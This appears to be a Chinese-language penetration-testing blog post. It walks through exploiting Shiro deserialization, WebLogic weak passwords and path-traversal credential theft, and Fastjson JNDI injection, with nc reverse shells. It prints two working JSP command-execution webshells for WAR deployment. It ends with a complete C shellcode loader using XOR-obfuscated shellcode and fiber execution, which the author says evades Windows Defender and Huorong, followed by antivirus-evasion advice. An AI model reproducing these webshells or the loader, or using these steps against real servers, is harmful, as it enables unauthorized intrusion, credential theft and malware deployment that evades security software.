继续来讲一下我们的框架漏洞,先讲一下Shiro
1.Shiro反序列化
1.原理
Shiro的漏洞形成呢,就是因为存在了RememberMe这样的一个字段
Shiro 框架在处理 "rememberMe" 功能时使用了不安全的反序列化方法,攻击者可以构造恶意序列化数据,利用漏洞来执行恶意代码
2.Shiro框架特点
像在这样的一种界面,我们就可以先去抓个包
然后我们去将cookie值改成
rememberMe=1
然后就能看见shiro的框架特点了
rememberMe=delteme
如果我们随便输入一个密码,那么无论我们是否勾选RememberMe字段,照样也是有相应字段
然后如果我们输入的是正确密码,但是不勾选RememberMe字段,那么它的返回包会返回一个setcookie的值,然后也同样包含rememberme=deleteme字段
但是,如果我们在输入的密码正确的情况下,而且勾选上了Rememberme字段,那么就会返回一个remberme的字段,包括以后也会包含rememberme的字段
3.漏洞利用
在这里我就直接用利群了
先是将存在RememberMe字段的url敲进去,然后我们可以看见它的poc里面也是放了一个Rememberme=1的poc来执行探针!!!
然后就去检测了 !!! 发现能找到Key以及利用链组合!!!
然后就可以RCE了!!!
但是RCE怎么能足够呢?? 肯定还要去进行getshell捏!!! (好险利群有一键getshell)
首先开一个nc进行监听还是这么骚的端口,hhh
然后就可以去一键弹shell了!!!
这样,就完成了Shiro的漏洞复现了!!!
2.Weblogic_WeakPasswd
这里就到了weblogic啦!!!
1.什么是weblogic!!
WebLogic是美国Oracle公司出品的一个Java应用服务器,确切的说是一个基于JAVA EE架构的中间件。
WebLogic用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。它可以帮助企业构建、运行、调整复杂的Java应用程序,具有高效能、可扩展和可靠的特性
2.weblogic的特点
weblogic默认的会开放7001端口,然而,weblogic对应的漏洞实在是太多了!!(反序列化!!)
看,数不胜数,那么讲了那么久的反序列化,那么我们就来讲一下Weakpasswd(后面我会把weblogic的反序列化给补上的!!!)
还记得我刚才说得7001吗,如果我们在访问的时候出现这样的页面,那么我们就可以去拼接目录
/console/login/LoginForm.jsp
可以看见是能够直接访问到他的登录后台的!!!
3.Weblogic漏洞利用!
对于上面,我们可以有两种方法
1.弱口令爆破
BP_cluster_bomb模式,虽然都是显示302,但是有一个包的明显长度就不一样!!!!
顺便来补一波状态码
- 信息,服务器收到请求,需要请求者继续执行操作
- 成功,操作被成功接收并处理
- 重定向,需要进一步的操作以完成请求
- 客户端错误,请求包含语法错误或无法完成请求
- 服务器错误,服务器在处理请求的过程中发生了错误
那么,我们就可以去试一下这个对应的密码!!可以看见时能够成功访问的!!!
2.拼接路径获取
这也就是为什么他的名字叫做weak_leak的原因了!!!
先是拼接第一个路径
/hello/file.jsp?path=security/SerializedSystemIni.dat
这时候我们就要去找对应的包
将这一段复制出来!!! 然后再去拼接第二段路径
hello/file.jsp?path=config/config.xml
然后这一个包返回的信息就多了!!!
一个是AES的密钥,一个是用户名字!!!!
然后就用工具去解密就好了!!
都能进后台了,肯定是想getshell啦!!!
3.RCE(部署文件)
既然getshell,那就要文件上传啦!!!
然后因为weblogic是java的环境,那么肯定是要写jsp的马啦,不过以前写的都是php的,那么今天就来补充一些jsp的吧!!(这些肯定是不免杀的)
<%
Runtime.getRuntime().exec(request.getParameter("shell"));
%>
但是这里不能直接上传,需要对木马进行一些操作
- 首先肯定要一个jsp的马,肯定没得说
- 然后就是将他打包
- 然后把他改成一个War包
然后就可以去上传了,(基本上就是无脑的下一步了)
这里你填一个你记得的名字就好了!!
然后就是能看见我们部署的里面的文件了,是可以成功RCE的
但是不知道为什么,感觉蚁剑有点连接不上???我换了一个jsp的马
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line);
}
br.close();
}
%>
RCE是可以的
但是连接就不行了
4.Liqunkit工具利用
既然连接不上,那么我们就尝试一下别的方法,用工具!!(利群)
可以成功检测出来的,可以看见,尝试一下RCE
okay!! 能RCE那么我们就去试一下文件上传
发现上传成功,于是就尝试一下蚁剑能否成功!!!
但是蚁剑似乎就不太礼貌了,啊啊啊啊啊
似乎是环境的问题,我试了冰蝎,哥斯拉,都连接不上
3.Fastjson反序列化
在讲fastjson之前,先来讲一下json
Json::JavaScript Object Notation 即JavaScript对象标记法,使用键值对进行信息的存储
其本质上就是一种字符串,可以用于信息的交换于存储
如下,就是一个例子
{
"name":"BossFrank",
"age":23,
"media":["CSDN","bilibili","Github"]
}
而Fastjson 是一个阿里巴巴公司开源的 Java 语言编写的高性能功能完善的 JSON 库。可以将Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。
所以漏洞就是这么出来的啦,下面来举一个例子
假设有如下两个类
当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去
(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。
为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来,使用@type的键记录原始类型。
在本例中,引入AutoType后,Apple类对象序列化为json格式后为:
{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }
引入AutoType后,iphone类对象序列化为json格式后为:
{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }
这样在反序列化的时候就可以区分原始的类了。
这样子做好像没什么问题,但是这可难不倒黑客们
fastJSON在反序列化时,可能会将目标类的构造函数、getter方法、setter方法、is
方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞,也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发。
攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI
接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。
怎么样,是不是Log4j2 很相似,也是ldap和 jndi的应用
那么就是常规操作了,先开个服务
然后再去开一个ldap的服务
然后就是去用nc去监听你的端口了
然后就是去BP构造你的poc了
然后就是getshell了
4.免杀
1.代码分享
首先肯定是要声明了!!
以下的一切代码以及思路仅供学习参考,禁止用于任何形式的违法行为,请自觉遵守中华人名共和国网络安全法!!!
我来先贴一段代码
#include <windows.h>
#include <stdio.h>
void likeww(char* nb) {
int id = atoi(nb);
unsigned char hello[] = {
0xDC, 0xC8, 0xAF, 0x20, 0x20, 0x20, 0x40, 0x11,
0xF2, 0xA9, 0xC5, 0x44, 0xAB, 0x72, 0x10, 0xAB,
0x72, 0x2C, 0xAB, 0x72, 0x34, 0xAB, 0x52, 0x08,
0x11, 0xDF, 0x2F, 0x97, 0x6A, 0x06, 0x11, 0xE0,
0x8C, 0x1C, 0x41, 0x5C, 0x22, 0x0C, 0x00, 0xE1,
0xEF, 0x2D, 0x21, 0xE7, 0x69, 0x55, 0xCF, 0x72,
0x77, 0xAB, 0x72, 0x30, 0xAB, 0x62, 0x1C, 0x21,
0xF0, 0xAB, 0x60, 0x58, 0xA5, 0xE0, 0x54, 0x6C,
0x21, 0xF0, 0x70, 0xAB, 0x78, 0x00, 0x21, 0xF3,
0xAB, 0x68, 0x38, 0xA5, 0xE9, 0x54, 0x1C, 0x69,
0x11, 0xDF, 0xAB, 0x14, 0xAB, 0x21, 0xF6, 0x11,
0xE0, 0x8C, 0xE1, 0xEF, 0x2D, 0x21, 0xE7, 0x18,
0xC0, 0x55, 0xD4, 0x23, 0x5D, 0xD8, 0x1B, 0x5D,
0x04, 0x55, 0xC0, 0x78, 0xAB, 0x78, 0x04, 0x21,
0xF3, 0x46, 0xAB, 0x2C, 0x6B, 0xAB, 0x78, 0x3C,
0x21, 0xF3, 0xAB, 0x24, 0xAB, 0x21, 0xF0, 0xA9,
0x64, 0x04, 0x04, 0x7B, 0x7B, 0x41, 0x79, 0x7A, 0x71,
0xDF, 0xC0, 0x78, 0x7F, 0x7A, 0xAB, 0x32, 0xC9, 0xA0,
0xDF, 0xDF, 0xDF, 0x7D, 0x48, 0x13, 0x12, 0x20, 0x20,
0x48, 0x57, 0x53, 0x12, 0x7F, 0x74, 0x48, 0x6C, 0x57, 0x06,
0x27, 0xA9, 0xC8, 0xDF, 0xF0, 0x98, 0xB0, 0x21, 0x20, 0x20,
0x09, 0xE4, 0x74, 0x70, 0x48, 0x09, 0xA0, 0x4B, 0x20, 0xDF,
0xF5, 0x4A, 0x2A, 0x48, 0xE0, 0x88, 0xD6, 0xA0, 0x48, 0x22,
0x20, 0x03, 0xC7, 0xA9, 0xC6, 0x70, 0x70, 0x70, 0x70, 0x60,
0x70, 0x60, 0x70, 0x48, 0xCA, 0x2F, 0xFF, 0xC0, 0xDF, 0xF5,
0xB7, 0x4A, 0x30, 0x76, 0x77, 0x48, 0xB9, 0x85, 0x54, 0x41, 0xDF, 0xF5, 0xA5, 0xE0, 0x54, 0x2A, 0xDF, 0x6E, 0x28, 0x55, 0xCC, 0xC8, 0x47, 0x20, 0x20, 0x20, 0x4A, 0x20, 0x4A, 0x24, 0x76, 0x77, 0x48, 0x22, 0xF9, 0xE8, 0x7F, 0xDF, 0xF5, 0xA3, 0xD8, 0x20, 0x5E, 0x16, 0xAB, 0x16, 0x4A, 0x60, 0x48, 0x20, 0x30, 0x20, 0x20, 0x76, 0x4A, 0x20, 0x48, 0x78, 0x84, 0x73, 0xC5, 0xDF, 0xF5, 0xB3, 0x73, 0x4A, 0x20, 0x76, 0x73, 0x77, 0x48, 0x22, 0xF9, 0xE8, 0x7F, 0xDF, 0xF5, 0xA3, 0xD8, 0x20, 0x5D, 0x08, 0x78, 0x48, 0x20, 0x60, 0x20, 0x20, 0x4A, 0x20, 0x70, 0x48, 0x2B, 0x0F, 0x2F, 0x10, 0xDF, 0xF5, 0x77, 0x48, 0x55, 0x4E, 0x6D, 0x41, 0xDF, 0xF5, 0x7E, 0x7E, 0xDF, 0x2C, 0x04, 0x2F, 0xA5, 0x50, 0xDF, 0xDF, 0xDF, 0xC9, 0xBB, 0xDF, 0xDF, 0xDF, 0x21, 0xE3, 0x09, 0xE6, 0x55, 0xE1, 0xE3, 0x9B, 0xD0, 0x95, 0x82, 0x76, 0x4A, 0x20, 0x73, 0xDF, 0xF5
};
LPVOID fiber = ConvertThreadToFiber(NULL);
LPVOID Alloc = VirtualAlloc(NULL, sizeof(hello), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
for (int i = 0; i < sizeof(hello); i++) {
hello[i] ^= id;
}
CopyMemory(Alloc, hello, sizeof(hello));
LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
SwitchToFiber(shellFiber);
}
int main(int argc, char* argv[]) {
printf("jquery");
if (argc == 2) {
printf("The argument supplied is %s\n", argv[1]);
likeww(argv[1]);
}
else if (argc > 2) {
printf("Too many arguments supplied.\n");
}
else {
printf("One argument expected.\n");
}
return 0; // 返回值表示程序正常退出
}
至于怎么用呢,那肯定是不能教的(我不想进去)但是这个🐎,过火绒,过Windows defender还是可以的,如果想要过360,还需要在main函数进行一些对应的操作!!!
当然了,还是不能教(我还没学到那)
那么下面我们就来聊一下免杀的学习思路吧
2.免杀思路
对于各路的牛鬼蛇神
他们的杀毒思路一般都是这样的
那么应该怎么免杀呢?
- 对于火绒这种,加个壳就过了(不好评价)(实在难评)
但是呢,你对360是肯定过不了的,因为360可是目前国内顶尖的安全软件公司
(其实就连defender都过不了)
加花,加壳,这种在他们的云沙箱面前也只能算是小玩意
所以你就不能通过工具(网上找到的来免杀)(当然最新出的例外)
那应该怎么免杀呢?你应该学习以下的东西
汇编基础 ---> c语言 ---- > Windows 的常见api ---> win32相关知识(ddl劫持,ddl注入,过程伪装,shellcodeloader)----->了解常见的杀软特点
通过学习这些,360,defender,卡巴斯基,火绒这些对于你来说都是小菜一碟,最起码写出一个免杀360的马还是可以的
这不快到护网了嘛,每年护网,红队人员的木马全都免杀的,作为蓝队,你只能乞讨别人别来打你